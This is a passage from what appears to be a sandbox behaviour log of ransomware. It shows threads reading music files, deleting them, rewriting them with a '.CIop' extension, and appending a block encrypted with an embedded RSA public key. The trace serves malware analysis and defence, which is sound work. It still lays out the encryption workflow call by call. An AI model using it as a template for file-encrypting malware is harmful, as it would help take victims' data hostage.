out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0095.855] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x169ee [0095.855] SetErrorMode (uMode=0x1) returned 0x1 [0095.855] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0095.855] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0095.855] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0095.855] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x5c8fb0) returned 1 [0095.855] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8fb0, dwCertEncodingType=0x1, pInfo=0x5c0f60, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c3110) returned 1 [0095.855] CryptEncrypt (in: hKey=0x5c3110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0095.855] CryptEncrypt (in: hKey=0x5c3110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c8840*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c8840*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0095.855] WriteFile (in: hFile=0x4d4, lpBuffer=0x5c8840*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c8840*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0095.855] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.857] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.857] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.857] CloseHandle (hObject=0x4d4) returned 1 [0095.859] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\dCyPtvG.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\dcyptvg.wav")) returned 0 Thread: id = 113 os_tid = 0xb24 [0095.859] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.859] lstrcpyW (in: lpString1=0x314f368, lpString2="Dg7 CrsqU k7Xp.mp3" | out: lpString1="Dg7 CrsqU k7Xp.mp3") returned="Dg7 CrsqU k7Xp.mp3" [0095.859] lstrcpyW (in: lpString1=0x314f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.859] SetErrorMode (uMode=0x1) returned 0x1 [0095.860] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Dg7 CrsqU k7Xp.mp3") returned 58 [0095.860] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Dg7 CrsqU k7Xp.mp3", dwFileAttributes=0x20) returned 1 [0095.860] StrStrW (lpFirst="Dg7 CrsqU k7Xp.mp3", lpSrch=".CIop") returned 0x0 [0095.860] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Dg7 CrsqU k7Xp.mp3.CIop") returned 63 [0095.860] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Dg7 CrsqU k7Xp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\dg7 crsqu k7xp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0095.861] ReadFile (in: hFile=0x4b8, lpBuffer=0x63acf0, nNumberOfBytesToRead=0x4bfd, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x63acf0*, lpNumberOfBytesRead=0x314e5e8*=0x4bfd, lpOverlapped=0x0) returned 1 [0095.861] CloseHandle (hObject=0x4b8) returned 1 [0095.861] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Dg7 CrsqU k7Xp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\dg7 crsqu k7xp.mp3")) returned 1 [0095.864] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0095.864] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0095.865] SetErrorMode (uMode=0x1) returned 0x1 [0095.865] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x5c86a8) returned 1 [0095.867] CryptGenKey (in: hProv=0x5c86a8, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x5c2d50) returned 1 [0095.905] CryptExportKey (in: hKey=0x5c2d50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0095.905] CryptExportKey (in: hKey=0x5c2d50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x314e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0095.905] CryptDestroyKey (hKey=0x5c2d50) returned 1 [0095.905] CryptReleaseContext (hProv=0x5c86a8, dwFlags=0x0) returned 1 [0095.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Dg7 CrsqU k7Xp.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\dg7 crsqu k7xp.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0095.907] WriteFile (in: hFile=0x4d0, lpBuffer=0x63acf0*, nNumberOfBytesToWrite=0x4bfd, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x63acf0*, lpNumberOfBytesWritten=0x314e5d8*=0x4bfd, lpOverlapped=0x0) returned 1 [0095.907] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4bfd [0095.907] WriteFile (in: hFile=0x4d0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0095.907] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4c04 [0095.907] SetErrorMode (uMode=0x1) returned 0x1 [0095.908] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0095.908] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0095.908] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0095.908] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x5c92e0) returned 1 [0095.908] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c92e0, dwCertEncodingType=0x1, pInfo=0x5c1440, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x5c2c90) returned 1 [0095.908] CryptEncrypt (in: hKey=0x5c2c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0095.908] CryptEncrypt (in: hKey=0x5c2c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c8bf8*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c8bf8*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0095.908] WriteFile (in: hFile=0x4d0, lpBuffer=0x5c8bf8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c8bf8*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0095.908] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.908] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.908] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.909] CloseHandle (hObject=0x4d0) returned 1 [0095.909] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\Dg7 CrsqU k7Xp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\dg7 crsqu k7xp.mp3")) returned 0 Thread: id = 114 os_tid = 0x54c [0095.888] lstrcpyA (in: lpString1=0x328e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.888] lstrcpyW (in: lpString1=0x328f368, lpString2="gRZdqIY3h.mp3" | out: lpString1="gRZdqIY3h.mp3") returned="gRZdqIY3h.mp3" [0095.888] lstrcpyW (in: lpString1=0x328f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.888] SetErrorMode (uMode=0x1) returned 0x1 [0095.888] wsprintfW (in: param_1=0x328eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\gRZdqIY3h.mp3") returned 53 [0095.888] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\gRZdqIY3h.mp3", dwFileAttributes=0x20) returned 1 [0095.888] StrStrW (lpFirst="gRZdqIY3h.mp3", lpSrch=".CIop") returned 0x0 [0095.888] wsprintfW (in: param_1=0x328e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\gRZdqIY3h.mp3.CIop") returned 58 [0095.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\gRZdqIY3h.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\grzdqiy3h.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0095.889] ReadFile (in: hFile=0x4d0, lpBuffer=0x63f8f8, nNumberOfBytesToRead=0x8220, lpNumberOfBytesRead=0x328e5e8, lpOverlapped=0x0 | out: lpBuffer=0x63f8f8*, lpNumberOfBytesRead=0x328e5e8*=0x8220, lpOverlapped=0x0) returned 1 [0095.889] CloseHandle (hObject=0x4d0) returned 1 [0095.889] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\gRZdqIY3h.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\grzdqiy3h.mp3")) returned 1 [0095.910] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0095.910] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0095.910] SetErrorMode (uMode=0x1) returned 0x1 [0095.910] CryptAcquireContextW (in: phProv=0x328e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x328e5b8*=0x5c8d90) returned 1 [0095.912] CryptGenKey (in: hProv=0x5c8d90, Algid=0x1, dwFlags=0x4000, phKey=0x328e5bc | out: phKey=0x328e5bc*=0x5c3150) returned 1 [0095.933] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x328e5ec | out: pbData=0x0*, pdwDataLen=0x328e5ec*=0x94) returned 1 [0095.933] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x328e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x328e5ec*=0x94) returned 1 [0095.933] CryptDestroyKey (hKey=0x5c3150) returned 1 [0095.933] CryptReleaseContext (hProv=0x5c8d90, dwFlags=0x0) returned 1 [0095.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\gRZdqIY3h.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\grzdqiy3h.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0095.934] WriteFile (in: hFile=0x4d4, lpBuffer=0x63f8f8*, nNumberOfBytesToWrite=0x8220, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x63f8f8*, lpNumberOfBytesWritten=0x328e5d8*=0x8220, lpOverlapped=0x0) returned 1 [0095.935] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8220 [0095.935] WriteFile (in: hFile=0x4d4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x328e5d8*=0x7, lpOverlapped=0x0) returned 1 [0095.935] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8227 [0095.935] SetErrorMode (uMode=0x1) returned 0x1 [0095.935] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0095.935] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x328d5b8, pcbBinary=0x328d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x328d5b8, pcbBinary=0x328d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0095.935] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x328d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x328d5a0, pcbStructInfo=0x328d598 | out: pvStructInfo=0x328d5a0, pcbStructInfo=0x328d598) returned 1 [0095.935] CryptAcquireContextW (in: phProv=0x328d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x328d5a8*=0x5c87b8) returned 1 [0095.935] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c87b8, dwCertEncodingType=0x1, pInfo=0x5c0e90, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x328d5b0 | out: phKey=0x328d5b0*=0x5c2cd0) returned 1 [0095.936] CryptEncrypt (in: hKey=0x5c2cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x328d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x328d5b4*=0x80) returned 1 [0095.936] CryptEncrypt (in: hKey=0x5c2cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c8d90*, pdwDataLen=0x328d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c8d90*, pdwDataLen=0x328d5a4*=0x80) returned 1 [0095.936] WriteFile (in: hFile=0x4d4, lpBuffer=0x5c8d90*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c8d90*, lpNumberOfBytesWritten=0x328e5d8*=0x80, lpOverlapped=0x0) returned 1 [0095.936] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.936] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.936] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.936] CloseHandle (hObject=0x4d4) returned 1 [0095.938] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\gRZdqIY3h.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\grzdqiy3h.mp3")) returned 0 Thread: id = 115 os_tid = 0x3a0 [0095.966] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.966] lstrcpyW (in: lpString1=0x2fef368, lpString2="GsSWFcQiPn.wav" | out: lpString1="GsSWFcQiPn.wav") returned="GsSWFcQiPn.wav" [0095.966] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.967] SetErrorMode (uMode=0x1) returned 0x1 [0095.967] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\GsSWFcQiPn.wav") returned 54 [0095.967] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\GsSWFcQiPn.wav", dwFileAttributes=0x20) returned 1 [0095.967] StrStrW (lpFirst="GsSWFcQiPn.wav", lpSrch=".CIop") returned 0x0 [0095.967] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\GsSWFcQiPn.wav.CIop") returned 59 [0095.967] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\GsSWFcQiPn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\gsswfcqipn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0095.968] ReadFile (in: hFile=0x4d0, lpBuffer=0x63ccf8, nNumberOfBytesToRead=0x820c, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesRead=0x2fee5e8*=0x820c, lpOverlapped=0x0) returned 1 [0095.968] CloseHandle (hObject=0x4d0) returned 1 [0095.968] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\GsSWFcQiPn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\gsswfcqipn.wav")) returned 1 [0095.969] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0095.970] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0095.970] SetErrorMode (uMode=0x1) returned 0x1 [0095.970] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x5c86a8) returned 1 [0095.972] CryptGenKey (in: hProv=0x5c86a8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3150) returned 1 